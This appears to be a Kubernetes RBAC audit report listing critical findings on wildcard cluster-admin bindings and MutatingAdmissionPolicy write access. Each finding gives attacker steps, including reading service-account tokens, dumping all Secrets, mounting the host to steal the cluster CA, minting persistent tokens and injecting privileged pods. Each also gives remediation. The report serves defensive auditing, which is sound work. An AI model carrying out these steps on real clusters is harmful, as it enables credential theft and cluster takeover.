SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueWildcard verbs × wildcard resources

An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

  1. Attacker compromises a workload that resolves to ServiceAccount/cutres/cutres-parallel (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).
  2. They run kubectl auth can-i '*' '*' --as=cutres-parallel -A and confirm wildcard permissions.
  3. They list every Secret in scope (kubectl get secrets -A -o yaml) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.
  4. They create a privileged DaemonSet that mounts the host filesystem and reads /etc/kubernetes/pki/* to steal the cluster CA.
  5. They establish persistence by minting a long-lived token for clusterrole-aggregation-controller via the TokenRequest API, then optionally remove their original binding to evade detection.
Remediation
Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.
  1. Inventory what ServiceAccount/cutres/cutres-parallel actually needs. Run kubectl auth can-i --list --as=cutres-parallel -A and correlate with audit logs filtered on user.username.
  2. Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.
  3. Apply the new binding, delete the wildcard binding ClusterRoleBinding cutres-parallel-a, and verify with kubectl auth can-i '*' '*' --as=cutres-parallel -A returning no.
  4. Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing * in verbs, resources, or apiGroups.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-parallel-a
Inspect: kubectl get clusterrolebinding cutres-parallel-a -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-parallel-a",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/deepchain-tenant/deepchain-privileged Cluster 10.0
Cluster-wide wildcard RBAC permissions on ServiceAccount/deepchain-tenant/deepchain-privileged
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-privileged Resource: RBACRule/cluster-admin

RBAC rule from ClusterRoleBinding deepchain-privileged → ClusterRole cluster-admin grants * verbs on * resources in * apiGroups to ServiceAccount/deepchain-tenant/deepchain-privileged. Cluster-wide: applies to every current and future namespace.

Wildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in RBAC Good Practices as an anti-pattern.

In a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.

Impact Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to cluster-admin when cluster-scoped.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueWildcard verbs × wildcard resources

An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

  1. Attacker compromises a workload that resolves to ServiceAccount/deepchain-tenant/deepchain-privileged (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).
  2. They run kubectl auth can-i '*' '*' --as=deepchain-privileged -A and confirm wildcard permissions.
  3. They list every Secret in scope (kubectl get secrets -A -o yaml) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.
  4. They create a privileged DaemonSet that mounts the host filesystem and reads /etc/kubernetes/pki/* to steal the cluster CA.
  5. They establish persistence by minting a long-lived token for clusterrole-aggregation-controller via the TokenRequest API, then optionally remove their original binding to evade detection.
Remediation
Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.
  1. Inventory what ServiceAccount/deepchain-tenant/deepchain-privileged actually needs. Run kubectl auth can-i --list --as=deepchain-privileged -A and correlate with audit logs filtered on user.username.
  2. Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.
  3. Apply the new binding, delete the wildcard binding ClusterRoleBinding deepchain-privileged, and verify with kubectl auth can-i '*' '*' --as=deepchain-privileged -A returning no.
  4. Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing * in verbs, resources, or apiGroups.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-privileged
Inspect: kubectl get clusterrolebinding deepchain-privileged -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "deepchain-privileged",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/flux-system/kustomize-controller Cluster 10.0
Cluster-wide wildcard RBAC permissions on ServiceAccount/flux-system/kustomize-controller
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/flux-system/kustomize-controller Resource: RBACRule/cluster-admin

RBAC rule from ClusterRoleBinding deepchain-flux-admin → ClusterRole cluster-admin grants * verbs on * resources in * apiGroups to ServiceAccount/flux-system/kustomize-controller. Cluster-wide: applies to every current and future namespace.

Wildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in RBAC Good Practices as an anti-pattern.

In a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.

Impact Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to cluster-admin when cluster-scoped.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueWildcard verbs × wildcard resources

An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

  1. Attacker compromises a workload that resolves to ServiceAccount/flux-system/kustomize-controller (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).
  2. They run kubectl auth can-i '*' '*' --as=kustomize-controller -A and confirm wildcard permissions.
  3. They list every Secret in scope (kubectl get secrets -A -o yaml) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.
  4. They create a privileged DaemonSet that mounts the host filesystem and reads /etc/kubernetes/pki/* to steal the cluster CA.
  5. They establish persistence by minting a long-lived token for clusterrole-aggregation-controller via the TokenRequest API, then optionally remove their original binding to evade detection.
Remediation
Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.
  1. Inventory what ServiceAccount/flux-system/kustomize-controller actually needs. Run kubectl auth can-i --list --as=kustomize-controller -A and correlate with audit logs filtered on user.username.
  2. Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.
  3. Apply the new binding, delete the wildcard binding ClusterRoleBinding deepchain-flux-admin, and verify with kubectl auth can-i '*' '*' --as=kustomize-controller -A returning no.
  4. Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing * in verbs, resources, or apiGroups.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-flux-admin
Inspect: kubectl get clusterrolebinding deepchain-flux-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "deepchain-flux-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/foothold-exec/foothold-decoy-sa Cluster 10.0
Cluster-wide wildcard RBAC permissions on ServiceAccount/foothold-exec/foothold-decoy-sa
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa Resource: RBACRule/cluster-admin

RBAC rule from ClusterRoleBinding foothold-decoy-admin → ClusterRole cluster-admin grants * verbs on * resources in * apiGroups to ServiceAccount/foothold-exec/foothold-decoy-sa. Cluster-wide: applies to every current and future namespace.

Wildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in RBAC Good Practices as an anti-pattern.

In a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.

Impact Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to cluster-admin when cluster-scoped.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueWildcard verbs × wildcard resources

An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

  1. Attacker compromises a workload that resolves to ServiceAccount/foothold-exec/foothold-decoy-sa (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).
  2. They run kubectl auth can-i '*' '*' --as=foothold-decoy-sa -A and confirm wildcard permissions.
  3. They list every Secret in scope (kubectl get secrets -A -o yaml) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.
  4. They create a privileged DaemonSet that mounts the host filesystem and reads /etc/kubernetes/pki/* to steal the cluster CA.
  5. They establish persistence by minting a long-lived token for clusterrole-aggregation-controller via the TokenRequest API, then optionally remove their original binding to evade detection.
Remediation
Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.
  1. Inventory what ServiceAccount/foothold-exec/foothold-decoy-sa actually needs. Run kubectl auth can-i --list --as=foothold-decoy-sa -A and correlate with audit logs filtered on user.username.
  2. Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.
  3. Apply the new binding, delete the wildcard binding ClusterRoleBinding foothold-decoy-admin, and verify with kubectl auth can-i '*' '*' --as=foothold-decoy-sa -A returning no.
  4. Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing * in verbs, resources, or apiGroups.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingfoothold-decoy-admin
Inspect: kubectl get clusterrolebinding foothold-decoy-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "foothold-decoy-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 10.0
Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-cluster-admin
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: RBACRule/cluster-admin

RBAC rule from ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin grants * verbs on * resources in * apiGroups to ServiceAccount/rbac-fixtures/sa-cluster-admin. Cluster-wide: applies to every current and future namespace.

Wildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in RBAC Good Practices as an anti-pattern.

In a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.

Impact Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to cluster-admin when cluster-scoped.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueWildcard verbs × wildcard resources

An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

  1. Attacker compromises a workload that resolves to ServiceAccount/rbac-fixtures/sa-cluster-admin (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).
  2. They run kubectl auth can-i '*' '*' --as=sa-cluster-admin -A and confirm wildcard permissions.
  3. They list every Secret in scope (kubectl get secrets -A -o yaml) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.
  4. They create a privileged DaemonSet that mounts the host filesystem and reads /etc/kubernetes/pki/* to steal the cluster CA.
  5. They establish persistence by minting a long-lived token for clusterrole-aggregation-controller via the TokenRequest API, then optionally remove their original binding to evade detection.
Remediation
Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.
  1. Inventory what ServiceAccount/rbac-fixtures/sa-cluster-admin actually needs. Run kubectl auth can-i --list --as=sa-cluster-admin -A and correlate with audit logs filtered on user.username.
  2. Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.
  3. Apply the new binding, delete the wildcard binding ClusterRoleBinding crb-cluster-admin, and verify with kubectl auth can-i '*' '*' --as=sa-cluster-admin -A returning no.
  4. Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing * in verbs, resources, or apiGroups.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcrb-cluster-admin
Inspect: kubectl get clusterrolebinding crb-cluster-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-cluster-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard Cluster 10.0
Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-wildcard
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: RBACRule/cr-wildcard

RBAC rule from ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard grants * verbs on * resources in * apiGroups to ServiceAccount/rbac-fixtures/sa-wildcard. Cluster-wide: applies to every current and future namespace.

Wildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in RBAC Good Practices as an anti-pattern.

In a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.

Impact Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to cluster-admin when cluster-scoped.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueWildcard verbs × wildcard resources

An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

  1. Attacker compromises a workload that resolves to ServiceAccount/rbac-fixtures/sa-wildcard (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).
  2. They run kubectl auth can-i '*' '*' --as=sa-wildcard -A and confirm wildcard permissions.
  3. They list every Secret in scope (kubectl get secrets -A -o yaml) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.
  4. They create a privileged DaemonSet that mounts the host filesystem and reads /etc/kubernetes/pki/* to steal the cluster CA.
  5. They establish persistence by minting a long-lived token for clusterrole-aggregation-controller via the TokenRequest API, then optionally remove their original binding to evade detection.
Remediation
Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.
  1. Inventory what ServiceAccount/rbac-fixtures/sa-wildcard actually needs. Run kubectl auth can-i --list --as=sa-wildcard -A and correlate with audit logs filtered on user.username.
  2. Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.
  3. Apply the new binding, delete the wildcard binding ClusterRoleBinding crb-wildcard, and verify with kubectl auth can-i '*' '*' --as=sa-wildcard -A returning no.
  4. Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing * in verbs, resources, or apiGroups.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
Source bindingcrb-wildcard
Inspect: kubectl get clusterrolebinding crb-wildcard -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-wildcard",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-wildcard",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL

Mutating admission policy injection: ServiceAccount/foothold-exec/foothold-decoy-sa can rewrite every admitted object

KUBE-PRIVESC-019 9 subjects Score 10.0–9.0
MITRE ATT&CK: T1610T1611T1098T1078.004

Affected subjects (9)

CRITICAL ServiceAccount/foothold-exec/foothold-decoy-sa Cluster 10.0
Mutating admission policy injection: ServiceAccount/foothold-exec/foothold-decoy-sa can rewrite every admitted object
Scope · Cluster Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa Resource: RBACRule/cluster-admin

Subject ServiceAccount/foothold-exec/foothold-decoy-sa can write mutatingadmissionpolicies (via ClusterRoleBinding foothold-decoy-admin : ClusterRole cluster-admin) and mutatingadmissionpolicybindings (via ClusterRoleBinding foothold-decoy-admin : ClusterRole cluster-admin). A MutatingAdmissionPolicy is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.

With write access to both, the subject authors a mutation that matches pods on CREATE and injects securityContext.privileged: true, a hostPath volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.

Both halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors KUBE-PRIVESC-010, where a binding write escalates only alongside the bind verb.

One ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected privileged pod is still rejected by PSA in a namespace that enforces baseline or restricted. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a privileged-labelled one such as kube-system), which every real cluster has at least one of.

Impact Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMutatingAdmissionPolicy injection

A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

  1. Attacker confirms both halves with kubectl auth can-i create mutatingadmissionpolicies --as=foothold-decoy-sa -A and kubectl auth can-i create mutatingadmissionpolicybindings --as=foothold-decoy-sa -A.
  2. They author a MutatingAdmissionPolicy matching pods CREATE whose ApplyConfiguration/JSONPatch sets spec.containers[*].securityContext.privileged: true and adds a hostPath: / volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.
  3. They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.
  4. They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own kubectl run); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.
  5. From the privileged pod they chroot into the host root, read /etc/kubernetes/pki/* or /var/lib/kubelet on a control-plane-adjacent node, and forge cluster-admin credentials.
Remediation
Remove write access to mutatingadmissionpolicies and mutatingadmissionpolicybindings from every non-admin identity; treat it like write access to (Cluster)RoleBindings.
  1. Drop create/update/patch on mutatingadmissionpolicies and mutatingadmissionpolicybindings from ServiceAccount/foothold-exec/foothold-decoy-sa. These verbs belong only to cluster administrators.
  2. Audit who else holds them: kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test("mutatingadmissionpolic")) | .metadata.name' (add the ClusterRoleBinding subjects to see the reachable identities).
  3. Enumerate existing policies and bindings for a mutation already planted: kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml and review each spec.mutations block.
  4. Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.
  5. Verify with kubectl auth can-i create mutatingadmissionpolicies --as=foothold-decoy-sa -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingfoothold-decoy-admin
Inspect: kubectl get clusterrolebinding foothold-decoy-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "foothold-decoy-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/map-fixtures/sa-mutating-policy Cluster 10.0
Mutating admission policy injection: ServiceAccount/map-fixtures/sa-mutating-policy can rewrite every admitted object
Scope · Cluster Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster
Category: Privilege Escalation Subject: ServiceAccount/map-fixtures/sa-mutating-policy Resource: RBACRule/cr-mutating-policy

Subject ServiceAccount/map-fixtures/sa-mutating-policy can write mutatingadmissionpolicies (via ClusterRoleBinding crb-mutating-policy : ClusterRole cr-mutating-policy) and mutatingadmissionpolicybindings (via ClusterRoleBinding crb-mutating-policy : ClusterRole cr-mutating-policy). A MutatingAdmissionPolicy is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.

With write access to both, the subject authors a mutation that matches pods on CREATE and injects securityContext.privileged: true, a hostPath volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.

Both halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors KUBE-PRIVESC-010, where a binding write escalates only alongside the bind verb.

One ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected privileged pod is still rejected by PSA in a namespace that enforces baseline or restricted. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a privileged-labelled one such as kube-system), which every real cluster has at least one of.

Impact Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMutatingAdmissionPolicy injection

A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

